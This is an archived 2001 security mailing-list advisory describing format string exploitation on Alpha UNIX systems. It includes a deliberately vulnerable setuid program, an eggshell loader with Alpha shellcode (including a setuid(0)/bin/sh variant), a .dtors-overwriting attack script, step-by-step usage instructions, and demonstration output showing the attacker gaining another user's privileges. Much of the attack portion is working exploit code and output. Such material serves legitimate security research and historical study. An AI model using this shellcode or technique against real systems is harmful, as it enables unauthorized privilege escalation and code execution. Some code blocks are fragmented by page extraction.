

[UNIX] Format String Attacks on Alpha Systems

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-10/0013.html>

From: support@securiteam.com

Date: 10/05/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [UNIX] Format String Attacks on Alpha Systems

Message-Id: <20011005125512.D4905138C2@mail.der-keiler.de>

Date: Fri, 5 Oct 2001 14:55:12 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Format String Attacks on Alpha Systems

SUMMARY

This article describes format string attack in the limited situation on Alpha system.

Until recently, it seemed that it is impossible to exploit format string bugs on Alpha systems. However, as the below article will describe it is possible but in very limited situation:

1. Vulnerable application should get user input string from the file descriptor like function 'fgets()'.
2. Address aligns and format string should be set by one's hand in detail (this means it is different from attack with 'brute forcing method').
3. Program should have read permission for reading static address of dtors (It is for your convenience, if not, it could be even more difficult to exploit).

In conclusion, Alpha systems are not completely secure from format string attacks.

DETAILS

Securiteam: [UNIX] Format String Attacks on Alpha Systems

Alpha is the CPU using 64 bits registers and addresses. Alpha *NIX has each file format. Digital UNIX uses coff (Common object file format), NetBSD uses elf 64 (executable and linkable file format), Linux uses also elf 64. For whatever flavor of UNIX, stack base address is allocated to 0x000000011ffffff ~ 0x0000000000000 and .text section is allocated to 0x0000000120000000 ~ ????????????????? on Alpha systems.

As you can see, there are so many NULL (0x00) bytes in their address making the exploit's life difficult. In the past, <mailto:ohhara@postech.edu> ohhara described how to <<http://www.securiteam.com/exploits/Alpha-bof.txt>> exploit buffer overflow bugs on Alpha Linux. He announced that our arbitrary return addresses could not be inserted into our environmental variables or arguments. Because there are so many NULL characters in the address, it will block our exploit code.

<case of buffer overflow exploit>

```
/* align */
/* nops */
/* shellcode */
"\xc0\xfe\xff\x1f\x01\x00\x00\x00"
"\xc0\xfe\xff\x1f\x01\x00\x00\x00"
"\xc0\xfe\xff\x1f\x01\x00\x00\x00"
/* ; return addresses */
```

If above string is our arbitrary string, then it is recognized as:

```
/* align */
/* nops */
/* shellcode */
"\xc0\xfe\xff\x1f\x01"
      ^
      |
      \x00: This would be recognized end of string.
```

This feature is showing why the exploit of Alpha Linux buffer overflow would get only one return address. That is a fatal problem when it comes to format string exploits.

In fact, arbitrary format string is constructed with two or more addresses like this

<case of format string exploit>

```
"\xc0\xfe\xff\x1f\x01\x00\x00\x00"
"\xc2\xfe\xff\x1f\x01\x00\x00\x00"
"\xc3\xfe\xff\x1f\x01\x00\x00\x00"
"\xc4\xfe\xff\x1f\x01\x00\x00\x00"
"blah%blah .u%hn"
"blah%blah .u%hn"
"blah%blah .u%hn"
```

"blah%blah .u%hn"

It seems to be impossible to set strings into our program environmental values or arguments properly. Environmental variables are read as a string before the program is started and it is read as a common string (string is a sequential bytes that is ended by a NULL character, 0x00). Arguments are read in the same manner. This is the case for all environmental variables – meaning that we can not construct our arbitrary format string attack in the environmental variables or arguments with expected branch address and control directives.

Now it is clear why it's difficult to set arbitrary format strings into user environmental variables or into application arguments. It seems to be impossible to exploit a program that for example has a bug in one of its options, "-x [string]" (Unless further research reveals otherwise). Nevertheless, there is a different approach to this problem that yields a possible solution to exploiting format string attacks.

What happens if an application uses 'fgets()' or 'read()' to read user provided input string? Or use a file descriptor? For example, the fgets() function reads a string from file descriptor until a EOF (-1) is encountered. This means that NULL (0x00) would not pose a problem to us, allowing us to put into the stack 64bits addresses and arbitrary format control directives, for example:

"aaaaaaa\x00\x00\x00\x01\x1f\xff\xff\xff%p"

So if an application use fgets() for user input string processing, also binary characters can be passed and set in its stack. You can confirm that from snip1

```

--- snip1 ---
0x11ffff7b0 1a 00 00 00 00 00 00 00 61 61 61 61 61 61 00
.....aaaaaaa.
0x11ffff7c0 00 00 01 1f ff ff ff 25 70 00 df 03 00 00 00
.....%p.....
--- snip2 ---

```

But there are other problems; the printf() function recognizes the user provided input also as a string, meaning it will stop at the first appearance of a NULL, and in our case will only parse the string as "aaaaaaa".

However, we need not be worried about this, since it can be easily solved. As we already know we can use the %digit\$ directive to pull something out from stack. As the below example shows:

"%<digit>\$p%<digit+1>\$p\x00\x00\x00\x01\xff\xff\xff\xff\x00\x00\x00\x01\xfc\xff\xff"

The remnant of our work is doing the actual exploit.

Securiteam: [UNIX] Format String Attacks on Alpha Systems

To test this exploit mythology, a test computer was installed. The computer has two accounts: seo (uid 27817) and true (uid 28930). A vulnerable program that has set-user-bit and it named 'vul', and it is owned by the user seo. The "attacker" is true (28930). The attacker has coded an exploit and tries to exploit it. The exploit code includes an eggshell 'egg.c' and an arbitrary format string attack named 'vulex.sh'.

You should notice something different in shellcode provided in 'egg.c'. The shellcode includes a proper setreuid(), and the call of "/bin/sh" was replaced by "/bin/vi".

The exploit 'vulex.sh' would try to change .dtors's destructor routine address to our arbitrary eggshell address, allowing our code program to execute after the normal program has finished its execution.

The shellcode would call setreuid() to change his uid and call exec "/bin/vi". We then could confirm our result whether it was exploited or not by typing ":!id". A more detailed description follows.

Description of the provided code:

There are 3 sources egg.c, vulex.sh, vul.c

+ 'egg.c' is an eggshell for Alpha systems, it includes NOPs and exec "/bin/vi" shellcode.

+ 'vul.c' is the format string vulnerable program that uses "fgets()" for user input.

+ 'vulex.sh' is our attack script, it does not brute force but rather requires manual changes. By default, the .dtors's destruct address is 0x120010be0, our exploit will change that to 0x11ffffcb0

If you want to try it on your system:

First, you should compile egg.c, vul.c and change our victim 'vul' owner to 'blah', mode to 4755

Second, you should find .dtors's address of 'vul', use gnu binary utility 'objdump' ('objdump -s -j .dtors ./vul' will help you, you might see things similar to snip2).

```
--- snip2 ---
public.Alpha.system> objdump -s -j .dtors vul

vul: file format elf64-Alpha

Contents of section .dtors:
 120010bd8 ffffffff ffffffff 00000000 00000000 .....
public.Alpha.system>
--- snip2 ---
```

Securiteam: [UNIX] Format String Attacks on Alpha Systems

Set the .dtors's destructor address to that of 'vul', in our case 120010be0.

Third, we should make some arbitrary string. You can see an example here:
"%18\$176p%19\$1n %18\$74p %20\$1n %23\$1d %21\$1n %18\$30p%22\$1n
AAAAAAAA\xe0\x0b\x01\x20\x01\x00\x00\x00\xe1\x0b\x01\x20\x01\x00
\x00\x00\xe2\x0b\x01\x20\x01\x00\x00\x00\xe3\x0b\x01\x20\x01\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n"

* This arbitrary string is constructed with four addresses and it would overwrite four bytes 0x120010be0 ~ 0x120010be3 with our expected parted address. If it works correctly, then our program would jump to 0x11ffffcb0 (The address of our eggshell hole, including NOPs and shellcode) region. If not, our program will be killed by a signal SIGILL or SIGSEGV.

Let us try it:

```
./egg 1  
$./vulex.sh
```

Our next try would be

```
./egg 2  
$./vulex.sh
```

An actual demonstration is attached.

Demonstration:

```
public.Alpha.system> ls  
egg egg.c vul vul.c vulex.sh  
public.Alpha.system> objdump -s -j .dtors vul
```

vul: file format elf64-Alpha

```
Contents of section .dtors:  
120010bd8 ffffffff ffffffff 00000000 00000000 .....
```

```
public.Alpha.system> id  
uid=28930(true) gid=501(nis) groups=501(nis)  
public.Alpha.system> whereis vi  
vi: /bin/vi /usr/share/man/man1/vi.1.gz  
public.Alpha.system> ./egg 1  
sh-2.04$ ./vulex.sh
```

Vim: Warning: Input is not from a terminal

Securiteam: [UNIX] Format String Attacks on Alpha Systems

```
!lid
```

```
~
```

```
~
```

```
<snip>
```

```
~
```

```
~
```

```
!lid
```

```
uid=27817(seo) gid=501(nis) groups=501(nis)
```

```
Hit ENTER or type command to continue
```

```
~
```

```
~
```

```
<snip>
```

```
~
```

```
~
```

```
~
```

```
sh-2.04$ uid=28930(true) gid=501(nis) groups=501(nis)
```

```
sh-2.04$
```

Exploit Code Sources:

```
++ vul.c
```

```
/*
```

```
* this simple proggy has format string bug
```

```
* it's the source especially coded for vulnerable situation
```

```
*/
```

```
#include<stdio.h>
```

```
#include<stdlib.h>
```

```
int main(void)
```

```
{
```

```
    char *ch = "mailto:seo@igrus.inha.ac.kr";
```

```
    char buf[512];
```

```
    fgets( buf, sizeof(buf), stdin );
```

```
    printf (buf);
```

```
}
```

```
++ egg.c
```

```
/*
```

```
* this shall set egg shell in our environment
```

Securiteam: [UNIX] Format String Attacks on Alpha Systems

```
* ./egg <size> <align>
* truefinder, seo@igrus.inha.ac.kr
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define DEF_EGGSIZE 4096
#define DEF_ALIGN 5

char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 };

#ifndef GENERAL_ROOT

static char shellcode[] =
"\x58\xfe\xde\x23\x0f\x04\xde\x47\x04\x74\xf0\x43\xa4\x01\x8f\xb0"
"\xa4\x01\x4f\x21\xfb\x6b\x3f\x24\x01\x80\x21\x20\xa8\x01\x2f\xb4"
"\xa9\x6c\x1f\x22\x02\x71\x3f\x22" /* a0 <- 27817 , a1 <- 28930 */
"\x80\xd4\xef\x47" /* call setreuid() */
"\xff\x7f\x4a\x6b\x69\x6e\x3f\x24"
"\x2f\x62\x21\x20\x76\x69\x5f\x24\xff\x2f\x42\x20\x82\x16\x41\x48"
"\x90\x01\x2f\xb0\x94\x01\x4f\xb0\x98\x01\xef\xb5\xa0\x01\xef\xb7"
"\x90\x01\x0f\x22\x98\x01\x2f\x22\x12\x04\xff\x47\x80\x74\xe7\x47"
"\xff\x7f\xea\x6b" ;
/* setuid(27817, 28930) , exec "/bin/vi" shellcode by truefinder */

#endif

#ifdef GENERAL_ROOT

static char shellcode[] =
"\x58\xfe\xde\x23\x0f\x04\xde\x47\x04\x74\xf0\x43\xa4\x01\x8f\xb0"
"\xa4\x01\x4f\x21\xfb\x6b\x3f\x24\x01\x80\x21\x20\xa8\x01\x2f\xb4"
"\x10\x04\xff\x47\x80\xf4\xe2\x47\xff\x7f\x4a\x6b\x69\x6e\x3f\x24"
"\x2f\x62\x21\x20\x73\x68\x5f\x24\xff\x2f\x42\x20\x82\x16\x41\x48"
"\x90\x01\x2f\xb0\x94\x01\x4f\xb0\x98\x01\xef\xb5\xa0\x01\xef\xb7"
"\x90\x01\x0f\x22\x98\x01\x2f\x22\x12\x04\xff\x47\x80\x74\xe7\x47"
"\xff\x7f\xea\x6b" ;
/* setuid(0) , exec "/bin/sh" shellcode by truefinder */

#endif

int
main( int argc, char *argv[] )
{
    char *eggbuf, *buf_ptr;
    int align, i, eggsize ;

    align = DEF_ALIGN;
    eggsize = DEF_EGGSIZE ;
```

Securiteam: [UNIX] Format String Attacks on Alpha Systems

```
if ( argc < 2 ) {
    printf ("%s <align> <size>\n", argv[0] );
    exit(0);
}

if ( argc > 1 )
    align = DEF_ALIGN + atoi(argv[1]);

if ( argc > 2 )
    eggsize = atoi(argv[2]) + DEF_ALIGN ;

if ( (eggbuf = malloc( eggsize )) == NULL ) {
    printf ("error : malloc \n");
    exit (-1);
}

/* set egg buf */
memset( eggbuf, (int)NULL , eggsize );

for ( i = 0; i < 250 ; i++ )
    strcat ( eggbuf, nop );

strcat ( eggbuf, shellcode );

for ( i = 0 ; i < align ; i++ )
    strcat ( eggbuf, "A");
memcpy ( eggbuf, "S=", 2 );
putenv ( eggbuf );
system("/bin/sh");
}

++ vulex.sh
#!/bin/sh
perl -e 'system , print "% 18\$$176p% 19\$$1n % 18\$$74p % 20\$$n % 23\$$1d
% 21\$$n% 18\$$30p % 22\$$n
AAAAAAAA\xe0\x0b\x01\x20\x01\x00\x00\x00\xe1\x0b\x01\x20\x01\x00\x00\x00\xe2\x0b\x01
\x20\x01\x00\x00\x00\xe3\x0b\x01\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\n" | ./vul
```

ADDITIONAL INFORMATION

The information has been provided by ">SeungHyun Seo (or
<<mailto:seo@igrus.inha.ac.kr>> seo) of <<http://igrus.inha.ac.kr/~seo>>
<http://igrus.inha.ac.kr/~seo>.

References:

[1] "Buffer overflow exploit in the Alpha Linux" by ohhara,
ohhara@postech.edu
<<http://www.securiteam.com/exploits/alpha-bof.txt>>
<http://www.securiteam.com/exploits/alpha-bof.txt> or
<<http://ohhara.sarang.net/security/Alpha-bof.txt>>

Securiteam: [UNIX] Format String Attacks on Alpha Systems

<http://ohhara.sarang.net/security/Alpha-bof.txt>.

[2] "Format string attack and General exploit" truefinder ,
seo@igrus.inha.ac.kr
<<http://165.246.33.21/~seo/exposed/fmtstr-tech.txt>>
<http://165.246.33.21/~seo/exposed/fmtstr-tech.txt>

[3] "Overwriting the .dtors section" Juan M. Bello Rivas ,
rwrxrwx@synnergy.net
<<http://www.synnergy.net/downloads/papers/dtors.txt>>
<http://www.synnergy.net/downloads/papers/dtors.txt>

[4] "Assembly Language Programmer's Guide" Compaq Computer Corporation
1996

<http://www.tru64unix.compaq.com/docs/base_doc/DOCUMENTATION/V40E_HTML/APS31DTE/TITLE.HTM>
http://www.tru64unix.compaq.com/docs/base_doc/DOCUMENTATION/V40E_HTML/APS31DTE/TITLE.HTM

[5] "Smashing The Stack For Fun And Profit" Aleph One,
aleph1@underground.org
<<http://www.phrack.org/show.php?p=49>>
<http://www.phrack.org/show.php?p=49>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* [: "ezmlm warning"](#)
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)